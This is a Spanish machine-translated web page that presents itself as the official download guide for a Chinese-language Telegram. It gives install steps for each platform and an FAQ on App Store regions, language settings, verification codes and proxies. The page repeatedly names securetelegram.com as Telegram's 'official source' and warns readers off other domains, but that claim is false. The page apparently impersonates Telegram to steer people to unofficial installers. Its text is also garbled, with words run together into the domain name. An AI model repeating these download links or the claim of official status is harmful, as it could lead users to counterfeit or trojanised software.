Telegram中文版 Telegram中文版 Descargar

Descargar Telegrama

Descarga de la versión china de Telegram: instaladores oficiales para cada plataforma

Elige tu dispositivo, descarga Telegram de forma segura desde la fuente oficialsecuretelegram.comy cambie al chino en un solo paso después de la instalación.

Interfaz de escritorio de Telegram en una MacBook

Interfaz de escritorio de Telegram

Elige una plataforma

Elige tu dispositivo para comenzar a descargar

Haga clic en la plataforma correspondiente para ir a la página de descarga oficial.securetelegram.com, instálelo según se le solicite y, después de la instalación, vaya a configuración para cambiar al chino.

androide

APK oficial o Google Play / AppGallery

Descargar para Android

iPhone/iPad

Se requiere App Store con una ID de Apple en el extranjero

Descargar la versión para iOS

ventanas

Instalador exe y versión portátil sin instalación.

Descargar la versión de escritorio

macos

Cliente nativo, compatible con Apple Silicon

Descargar la versión para Mac

Lo más importante a la hora de descargar Telegram es confiar en la fuente oficial. A continuación se muestran los métodos de descarga oficiales y los pasos de instalación para cada plataforma, junto con respuestas a preguntas frecuentes como qué versión de escritorio elegir, cómo usar la versión portátil y qué hacer si descargó un reempaquetado.

Descarga de la fuente oficial, confía.securetelegram.com

Todas las plataformas se obtienen desde la entrada de descarga oficial.securetelegram.com, con escritorio ensecuretelegram.com/desktopy Android ensecuretelegram.com/android.

¿Cómo descargo la aplicación zhifeiji en un iPhone?

Zhifeiji es Telegrama. En iPhone, tenga en cuenta que Telegram se eliminó de la App Store de China continental, por lo que no se puede encontrar la versión oficial con una ID de Apple continental.

Debe cambiar o registrar una ID de Apple en el extranjero (EE. UU., Hong Kong, Taiwán, etc.) para buscarla y descargarla, porque las aplicaciones que muestra la App Store dependen de la región de registro de la ID de Apple, no de la red del dispositivo. Una vez encontrada, asegúrese de verificar que el desarrollador sea el Telegram FZ-LLC / Telegram Messenger oficial y no descargue una aplicación falsificada con el mismo nombre.

Interfaz de iPhone de Telegrama
La interfaz de Telegram en un teléfono

¿Qué versión de la aplicación de escritorio Telegram debo descargar? ¿Puede Windows instalarla directamente?

Descargue la versión de escritorio del sitio oficial.securetelegram.com/desktop; el sitio detecta automáticamente su sistema y proporciona el instalador correspondiente (Windows/macOS/Linux).

Windows puede descargar directamente el instalador para instalarlo y ejecutarlo. El cliente oficial es de código abierto y admite compilaciones reproducibles, por lo que técnicamente se puede verificar con el código fuente de GitHub. Descargue solo de la fuente oficial y no utilice ninguna de las llamadas versiones chinas de escritorio o versión verde crackeada.

¿Cómo descargo e instalo Telegram para Mac? ¿Funciona el chip M1?

Descargue la versión para Mac del sitio oficial.securetelegram.com/desktop; el sitio proporciona automáticamente el instalador correspondiente.

Después de descargar el .dmg, haga doble clic para abrirlo y arrastre el ícono de Telegram a la carpeta Aplicaciones. La aplicación oficial proporciona una entrada de cliente nativa de macOS y el silicio de Apple, como el M1, funciona normalmente (se necesita confirmación práctica de la versión para su modelo). Descargue solo desde la fuente oficial, para evitar reempaquetamientos de terceros.

¿Cómo descargo para Android/iPhone/escritorio respectivamente?

Para Android, prefiera el APK oficial; para iPhone, se necesita una App Store en el extranjero; para escritorio, visitesecuretelegram.com/desktop, que detecta automáticamente su sistema y le proporciona al instalador.

Ir a la página de descarga oficial

Abiertosecuretelegram.comen un navegador y elija el instalador correspondiente para su sistema.

Instalar y abrir

Instale el APK en Android, ejecute el instalador en una computadora e instálelo desde la App Store extranjera en iPhone.

Inicia sesión con un número de teléfono

Ingrese un número de teléfono en formato internacional y reciba un código de verificación para completar el inicio de sesión.

Cambiar al chino simplificado

Vaya a Configuración > Idioma y seleccione Chino simplificado.

¿Dónde descargo el archivo APK de la versión china de dianbao y es seguro?

No existe una versión oficial de APK en chino; El chino es sólo el idioma de la interfaz. El APK de Android debe ser el original oficial descargado del sitio oficial.securetelegram.com/android, y después de la instalación vaya a Configuración > Idioma para cambiar a chino.

Esas versiones en chino o APK localizados en línea son reempaquetados de terceros y de muy alto riesgo: había un canal de imitación que se hacía pasar por una traducción al chino simplificado y que difundía un troyano de descarga, con suscripciones que alguna vez alcanzaron alrededor de 800K; Una vez ejecutado, descarga módulos maliciosos y evita el software de seguridad. Asegúrese de descargar solo desde el sitio oficial.securetelegram.comfuente.

¿Existe un tutorial completo de descarga e instalación de Telegram y qué paso deben seguir los usuarios nuevos?

Los pasos son simples: 1) Descargar desde la fuente oficial, Androidsecuretelegram.com/android, escritoriosecuretelegram.com/desktop.

Por primera vez, lo más importante es confiar en la fuente oficial para la descarga y no descargar un reempaquetado de terceros.

¿Puedo descargar tg de la App Store de Apple y qué hago si no puedo encontrarlo?

Puedes descargarlo, pero depende de la región de registro de tu ID de Apple. Telegram se eliminó de la App Store de China continental, por lo que no se puede encontrar con una ID de Apple continental.

La solución es cambiar o registrar una ID de Apple en el extranjero (EE. UU., Hong Kong, Taiwán, etc.) y luego buscar en la App Store para encontrarla, porque lo que muestra la tienda depende de la región de la ID de Apple, no de la red del dispositivo. Una vez encontrado, verifique que el desarrollador sea el Telegram FZ-LLC / Telegram Messenger oficial.

Versión portátil, actualizaciones y elección de versión

El escritorio ofrece una versión portátil que no requiere instalación; Después de instalarlo desde la fuente oficial, recibe actualizaciones automáticamente, sin necesidad de volver a descargarlo manualmente.

¿Cuál es la diferencia entre Telegram original y la versión china y cuál es mejor descargar?

No existe una aplicación separada llamada versión china. Cada plataforma utiliza el mismo cliente original oficial y la versión china simplemente se refiere a cambiar el idioma de la interfaz al chino.

Entonces, para descargar, simplemente descargue el original oficial (securetelegram.com) y, después de la instalación, vaya a Configuración > Idioma y seleccione Chino simplificado. Aquellos que dicen ser una versión china o una versión localizada son en su mayoría reempaquetados de terceros, con el riesgo de robo de cuentas y troyanos integrados, así que no los descargue.

¿La versión china de Telegram está hecha por el equipo oficial o localizada por un tercero? ¿Es segura?

El equipo oficial no ha lanzado una aplicación en versión china separada. La interfaz en chino es una opción de idioma integrada en el cliente oficial (desde abril de 2026, la aplicación oficial está integrada en chino simplificado y tradicional).

Pero los instaladores de la versión china empaquetados por separado o de la versión localizada en el mercado son básicamente modificados por terceros y no son seguros: apareció un canal de imitación que se hace pasar por una traducción al chino simplificado y que difunde un troyano de descarga, con suscripciones que alguna vez rondaron los 800K; También se dan casos de suplantación de paquetes de localización para difundir troyanos de control remoto y phishing. El enfoque seguro es descargar el original oficial sólo desdesecuretelegram.comy luego cambie a chino en Configuración > Idioma.

Interfaz del cliente Telegram Android
Interfaz del cliente Telegram Android

Fuentes: Sitio oficial de escritorio de Telegram · Tienda de aplicaciones de Apple · GooglePlay · sitio oficial de telegrama

FAQ

Preguntas frecuentes sobre la descarga e instalación

Aquí respondemos una a una preguntas frecuentes sobre canales de descarga, compatibilidad del sistema, la versión portátil y actualizaciones.

¿Dónde puedo descargar el instalador original de la versión china de Telegram?
De hecho, no existe un instalador independiente de la versión china de Telegram. Cada plataforma utiliza el mismo cliente oficial, y la versión china simplemente significa cambiar la interfaz a chino, sin instalar un paquete de localización separado o una versión modificada de terceros. La aplicación original proviene únicamente de fuentes oficiales: la entrada de descarga principal essecuretelegram.com, el escritorio essecuretelegram.com/desktopy Android essecuretelegram.com/android. Esos instaladores chinos, localizados, crackeados o acelerados en línea son en su mayoría reempaquetados de terceros, con el riesgo de troyanos integrados y robo de cuentas, así que evítelos todos.
¿Cuál es la dirección de descarga oficial de Telegram y cómo confirmo que no es un sitio de phishing?
La entrada de descarga oficial principal essecuretelegram.com, el escritorio essecuretelegram.com/desktopy Android essecuretelegram.com/android. Confía en el dominiosecuretelegram.comsí mismo; Los sitios como telegram-ios.com, telegramshk.com o sites.google.com/view/ no son dominios oficiales y en su mayoría ofrecen reempaquetamientos o redirección de tráfico, así que evítelos. Al descargar desde una tienda de aplicaciones, verifique también que el desarrollador sea el Telegram FZ-LLC / Telegram Messenger oficial, y no se deje engañar por sitios y aplicaciones falsificados con el mismo nombre e ícono.
¿Cómo descargo e instalo la aplicación Telegram para Android?
Las descargas de Android tienen un orden de prioridad: la primera opción es el sitio oficialsecuretelegram.com/androidpara descargar el APK directamente, luego Google Play, y los dispositivos sin servicios de Google como Huawei pueden buscar Telegram en AppGallery. Un APK descargado del sitio oficial recibirá automáticamente actualizaciones de la fuente oficial después de la instalación. Intente no descargar APK de sitios de terceros, ya que esos paquetes conllevan el riesgo de ser falsificados, reempaquetados o tener permisos de alto riesgo. Después de la instalación, el valor predeterminado es el inglés; vaya a Configuración > Idioma para cambiar a chino.
¿Puedo descargar Telegram directamente en China continental y necesito una VPN?
Tanto la descarga como el uso de Telegram están restringidos en China continental: en el iPhone, debido a que se eliminó de la App Store continental, se necesita una ID de Apple en el extranjero; en Android, puedes descargar el APK desde el sitio oficialsecuretelegram.com/android. Incluso después de la instalación, la conexión a los servidores de Telegram en el continente generalmente también requiere un entorno de red utilizable; de ​​lo contrario, seguirá sin poder conectarse. La aplicación oficial proporciona un proxy MTProto integrado en core.telegram.org/proxy para sortear las restricciones. Para conocer el enfoque utilizable específico, confirme la práctica de acuerdo con su situación local.
¿Se puede encontrar y descargar Telegram en la Apple App Store de Hong Kong?
Sí. Las aplicaciones que muestra la App Store dependen de la región de registro del ID de Apple; Un ID de Apple de Hong Kong puede encontrar y descargar el Telegram oficial. Si actualmente utiliza una ID de Apple continental y no puede encontrarla, cambie a una ID de Apple de Hong Kong (u otro extranjero) y busque nuevamente. Al descargar, verifique que el desarrollador sea el Telegram FZ-LLC / Telegram Messenger oficial y no descargue una aplicación falsificada.
¿Cómo descargo la versión china de Telegram en un iPhone de Taiwán?
Un iPhone de Taiwán puede encontrar y descargar el Telegram oficial en la App Store con una ID de Apple de Taiwán (la App Store muestra aplicaciones por región de ID de Apple). No existe una versión china separada; simplemente descarga el original oficial. Después de la instalación, vaya a Configuración > Idioma y seleccione Chino tradicional o Chino simplificado, sin ningún paquete de idioma de terceros en ningún momento. Al descargar, confíe en que el desarrollador sea el Telegram FZ-LLC / Telegram Messenger oficial.
¿Un teléfono Android de Singapur necesita cambiar de región para descargar dianbao?
Las descargas de Android no necesitan un cambio de región; simplemente descarga el APK directamente desde el sitio oficialsecuretelegram.com/android, o busca Telegram en Google Play. Al registrarse, utilice un número de teléfono de formato internacional de Singapur que comience con +65. Después de la instalación, vaya a Configuración > Idioma y seleccione Chino simplificado. Cambiar de región es sólo algo que el iPhone necesita (la App Store muestra aplicaciones por región de ID de Apple); Android no está sujeto a esta restricción.
Para descargar Telegram en Malasia, ¿debo usar Google Play o la apk del sitio oficial?
Cualquiera de los dos funciona, siendo la prioridad: descargar el APK directamente desde el sitio oficialsecuretelegram.com/androidy luego Google Play. Un APK descargado del sitio oficial recibe automáticamente actualizaciones de la fuente oficial después de la instalación, de forma segura y confiable. Si el dispositivo no tiene servicios de Google (como Huawei), busque Telegram en la tienda AppGallery. Al registrarse, utilice un número de teléfono de formato internacional de Malasia que comience con +60. Cualquiera que elija, no descargue reempaquetados de sitios APK de terceros.
¿Cómo descargo Telegram en un teléfono Android sin Google Play?
Se puede instalar bien sin Google Play. Solo ve al sitio oficialsecuretelegram.com/androiddescargar e instalar el APK oficial; Después de la instalación, recibe automáticamente actualizaciones de la fuente oficial, sin depender de Google Play. Dispositivos como Huawei también pueden buscar Telegram en AppGallery. Nota: no descargue APK de sitios de terceros de origen desconocido, ya que esos paquetes conllevan el riesgo de ser falsificados, reempaquetados o tener permisos de alto riesgo.
¿Puedo instalar Telegram en un teléfono Huawei sin los servicios de Google y de dónde descargo el apk?
Sí, se puede instalar. Huawei puede buscar Telegram en AppGallery para descargar, o puede ir directamente al sitio oficialsecuretelegram.com/androidpara descargar e instalar el APK oficial. Un APK descargado del sitio oficial recibe automáticamente actualizaciones de la fuente oficial después de la instalación, sin necesidad de los servicios de Google. Asegúrese de no descargar APK de sitios de terceros, ya que esos paquetes conllevan el riesgo de ser falsificados, reempaquetados o tener permisos de alto riesgo; Confía sólo en la fuente oficial.
¿Puedo descargar Telegram en iPhone sin cambiar de región?
Si su ID de Apple se encuentra en la región continental, no podrá descargarla; Telegram se eliminó de la App Store de China continental, por lo que no se puede encontrar la versión oficial con una ID de Apple continental. Las aplicaciones que muestra la App Store dependen de la región de registro de la ID de Apple, no de la red del dispositivo, por lo que debe cambiar o registrar una ID de Apple en el extranjero (EE. UU., Hong Kong, Taiwán, etc.) para descargarla. Si ya tiene una ID de Apple en el extranjero, puede buscarla y descargarla directamente.
El telegrama descargado está predeterminado en inglés; ¿Cómo cambio a una interfaz china?
La ruta es la misma en todas las plataformas para la versión china de Telegram: abra la aplicación > Configuración (el engranaje en la parte inferior derecha del teléfono, el menú de tres líneas en la parte superior izquierda del escritorio) > Idioma > seleccione Chino simplificado (chino simplificado) o Chino tradicional (chino tradicional). Desde abril de 2026, la aplicación oficial está integrada en chino simplificado y tradicional; entra en vigor una vez seleccionado, sin necesidad de tocar ningún enlace externo ni instalar un paquete de idioma de terceros.
¿Cómo configuro Telegram en chino simplificado y qué hago si no hay una opción en chino?
Para la versión china de Telegram, abra la aplicación > Configuración > Idioma > seleccione Chino simplificado. Desde abril de 2026, la aplicación oficial está integrada en chino simplificado y tradicional, por lo que aparece en la lista después de actualizar a la última versión. Si no ve chino en su lista, primero actualice la aplicación a la última versión y vuelva a mirar; Es posible que las versiones anteriores necesiten el método oficial de enlace profundo para aplicar un paquete de idioma comunitario (envíe el enlace oficial t.me/setlanguage en un chat y luego toque para aplicar). Nota: utilice únicamente enlaces oficiales y no instale paquetes de idiomas de terceros de origen desconocido.
Después de descargar Telegram, ¿tengo que registrarme con un número de teléfono o puedo usar el correo electrónico?
Debes registrarte con un número de teléfono; una cuenta de Telegram solo se puede vincular a un número de teléfono (no se admiten teléfonos fijos) y no se puede registrar una cuenta nueva con un correo electrónico surgido de la nada. El correo electrónico es sólo un método de inicio de sesión de respaldo para los usuarios con una cuenta existente que inician sesión con bastante frecuencia; primero debe vincular su correo electrónico a la verificación de dos pasos antes de que se envíe el código de inicio de sesión al correo electrónico, y no es un método de registro. Ingrese el número de teléfono en formato internacional, como Singapur +65, Malasia +60, Taiwán +886.
¿Qué hago si no recibo el código de verificación SMS al registrarme en Telegram?
Solucione el problema en este orden: 1) Confirme que puede conectarse de manera estable a los servidores de Telegram (cuando la red no funciona, la solicitud para enviar el código no se puede enviar); 2) Verifique que el código de país y el formato del número sean correctos (por ejemplo, para Taiwán +886, elimine el 0 inicial y comience directamente desde 9); 3) Verifique la carpeta de mensajes bloqueados/no deseados de su teléfono; 4) Para un número +86 continental, confirme que la recepción de SMS internacionales y de Hong Kong/Macao/Taiwán esté habilitada (desactivada de forma predeterminada en muchas áreas desde mayo de 2022); 5) No sigas tocando frenéticamente reenviar; espere de 5 a 10 minutos entre intentos; de lo contrario, se activa el control de riesgos y se suspende la entrega; 6) Si aún falla, use un número de teléfono real diferente o apele a través de telegram.org/support.
Sigo sin recibir el código de verificación de Telegram; ¿Cuánto falta para que se reenvíe?
Para la versión china de Telegram, no sigas presionando frenéticamente reenviar; los toques repetidos en un corto período de tiempo activan el control de riesgos, se consideran actividades sospechosas y se suspende la entrega; También existen límites por parte del operador (algunas fuentes dicen que un solo número puede recibir como máximo alrededor de 10 códigos de verificación en 24 horas). Se recomienda esperar de 5 a 10 minutos entre cada intento; Si ya está bloqueado, espere unas 24 horas e inténtelo nuevamente o utilice la apelación oficial. Al mismo tiempo, confirme que la red pueda conectarse a los servidores y que el formato del número sea correcto, verifique la carpeta de SMS no deseados y, para un número continental, también confirme que la recepción de SMS internacionales esté habilitada.
Después de instalar Telegram, ¿cómo inicio sesión por primera vez y qué pasos son necesarios?
Para la versión china de Telegram, el primer inicio de sesión utiliza un número de teléfono: 1) Abra la aplicación, seleccione el código de país de su región (como Singapur +65, Malasia +60, Taiwán +886) e ingrese su número de teléfono; 2) Espere a recibir el código de verificación por SMS e ingréselo (aproximadamente 1-2 minutos); 3) Siga las indicaciones para configurar un apodo, avatar, etc. para completar la creación de la cuenta. Si ha habilitado la verificación en dos pasos, también deberá ingresar nuevamente la contraseña de verificación en dos pasos. Se recomienda habilitar la verificación en dos pasos para proteger su cuenta después de iniciar sesión y no enviar su código de verificación a nadie.
¿Cómo inicio sesión en mi cuenta de teléfono en la versión de escritorio de Telegram escaneando un código QR?
La versión de escritorio admite el inicio de sesión en una cuenta existente con un código QR: seleccione el método de inicio de sesión con código QR en la pantalla de inicio de sesión del escritorio, luego en el teléfono abra Telegram > Configuración > Dispositivos > Escanear código QR (Vincular dispositivo de escritorio) y apunte al código QR en la pantalla de la computadora para escanearlo para un inicio de sesión sincronizado. Telegram admite oficialmente múltiples métodos de inicio de sesión, incluidos los códigos QR. Los nombres de menú específicos dependen de la versión de su cliente (se necesita confirmación práctica).
Después de descargar e instalar Telegram, no se abre, sigue girando y no se puede conectar; ¿Qué debo hacer?
Seguir girando y no poder conectarse suele deberse a que la capa de red no puede llegar a los servidores de Telegram, no a que la aplicación esté rota. Primero confirme que su entorno de red actual pueda acceder a Telegram normalmente (algunas regiones requieren un entorno de red utilizable; de ​​lo contrario, no podrá conectarse). La aplicación oficial proporciona un proxy MTProto integrado en core.telegram.org/proxy, específicamente para sortear las restricciones de acceso a Telegram; oculta su IP y confunde el tráfico, lo que dificulta la identificación de los operadores. Configúrelo específicamente en Configuración > Datos y almacenamiento > Proxy (se necesita confirmación práctica).
¿Por qué Telegram muestra conexión y no logra conectarse?
Quedarse atascado al conectarse generalmente se debe a que la conexión de la red a los servidores de Telegram está restringida o inestable; En algunas regiones, los operadores restringen el acceso a Telegram, lo que provoca fallos de conexión, y esto no es culpa de la aplicación en sí. La aplicación oficial proporciona un proxy MTProto integrado (core.telegram.org/proxy) específicamente para sortear este tipo de bloqueo; Hace que el tráfico de Telegram sea difícil de identificar para los operadores al ocultar la IP y ofuscar el tráfico. Puede configurar un proxy utilizable en la configuración de proxy del cliente e intentarlo nuevamente (la configuración específica necesita confirmación práctica).